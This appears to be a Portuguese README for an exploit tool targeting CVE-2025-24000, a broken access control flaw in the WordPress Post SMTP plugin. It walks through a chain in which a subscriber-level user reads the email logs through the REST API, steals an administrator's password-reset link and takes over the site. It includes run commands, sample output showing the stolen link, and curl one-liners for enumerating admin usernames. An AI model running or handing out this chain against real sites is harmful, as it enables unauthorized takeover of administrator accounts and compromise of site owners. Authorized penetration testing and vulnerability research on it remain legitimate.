CVE-2025-24000 — Exploit de Escalação de Privilégio no Post SMTP

Visão Geral

Este script explora a CVE-2025-24000, uma vulnerabilidade de controle de acesso quebrado de alta gravidade no plugin Post SMTP para WordPress (versões ≤ 3.2.0). Ele permite que qualquer usuário autenticado com uma conta de baixo privilégio (ex: Assinante) acesse os logs de e-mail da API REST do plugin, roube um link de redefinição de senha do administrador e assuma o controle da conta de administrador.

• CVE: CVE-2025-24000
• Plugin: Post SMTP (WPExperts)
• Versões afetadas: ≤ 3.2.0
• Corrigido em: 3.3.0
• Pontuação CVSS: 8.8 (Alta)
• Impacto: Escalação de Privilégio → Assunção Total da Conta de Administrador

---

Como Funciona

A vulnerabilidade decorre de uma verificação de permissão falha na API REST do plugin:

// Vulnerable code (≤ 3.2.0)
public function get_logs_permission() {
    return is_user_logged_in();
}

Qualquer usuário logado, independentemente da função, pode acessar endpoints destinados apenas a administradores:

• GET /wp-json/psd/v1/get-logs
• GET /wp-json/psd/v1/get-details?id=<id>&type=show_view
• POST /wp-json/psd/v1/resend-email

Cadeia de Exploração

1. Registre ou use uma conta WordPress existente de baixo privilégio (Assinante)
2. Faça login e obtenha um nonce WP REST de /wp-admin/
3. Acione uma redefinição de senha para a conta de administrador
4. Leia os logs de e-mail através da API REST desprotegida
5. Extraia o link de redefinição de senha do log
6. Use o link de redefinição para definir uma nova senha de administrador
7. Faça login em /wp-admin como administrador

---

Requisitos

• Python 3.x
• requests library (pip install requests)
• Uma conta registrada no site WordPress alvo (nível Assinante é suficiente)

---

Uso

python3 exploit_cve_2025_24000.py \
  --url <wordpress_base_url> \
  --username <your_subscriber_username> \
  --password <your_subscriber_password> \
  --email <admin_username_or_email>

Argumentos

Argumento	Descrição
--url	URL base do site WordPress (ex: http://target.local/wordpress/)
--username	Seu nome de usuário WordPress de baixo privilégio
--password	Sua senha WordPress de baixo privilégio
--email	Nome de usuário ou e-mail do administrador para redefinir

Exemplo

python3 exploit_cve_2025_24000.py \
  --url http://samurai.local/samurai/ \
  --username attacker \
  --password Password1 \
  --email shogun

Saída Esperada

[*] Logging in as attacker...
[+] Logged in successfully as attacker
[*] Fetching WP REST nonce from wp-admin...
[+] Got nonce: a5f398e081
[*] Triggering password reset for: shogun
[+] Password reset triggered.
[*] Fetching email logs...
[+] Got logs response.
[*] Checking 1 email(s) for reset link...

[+] RESET LINK FOUND:
    http://samurai.local/samurai/wp-login.php?action=rp&key=XXXXXXXXXXXX&login=shogun

[*] Visit the link above to set a new admin password and take over the site.

---

Dicas

• Se o nome de usuário do administrador for desconhecido, enumere-o através da API REST do WP:

  curl -s 'http://target.local/wp-json/wp/v2/users' | python3 -m json.tool
  

  Ou através da enumeração de autor:

  curl -s 'http://target.local/?author=1' -I | grep -i location
  

• O link de redefinição é de uso único e expira — use-o imediatamente após a extração
• Se os logs estiverem vazios, certifique-se de que o site está configurado para enviar e-mail através do Post SMTP (não do PHP mail)

---

Referências

• Comunicado do Patchstack: https://patchstack.com/database/wordpress/plugin/post-smtp/vulnerability/wordpress-post-smtp-3-2-0-privilege-escalation-vulnerability
• Comunicado do GitHub: https://github.com/advisories/GHSA-2fgh-78wf-f9v9
• Passo a passo de reprodução: https://medium.com/@security_56355/from-subscriber-to-admin-reproducing-cve-2025-24000-in-wordpress-post-smtp-plugin-8105ff85e274
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24000

---

Aviso Legal

Esta ferramenta é destinada apenas para testes de penetração autorizados e fins educacionais. Não use contra sistemas para os quais você não tenha permissão explícita para testar.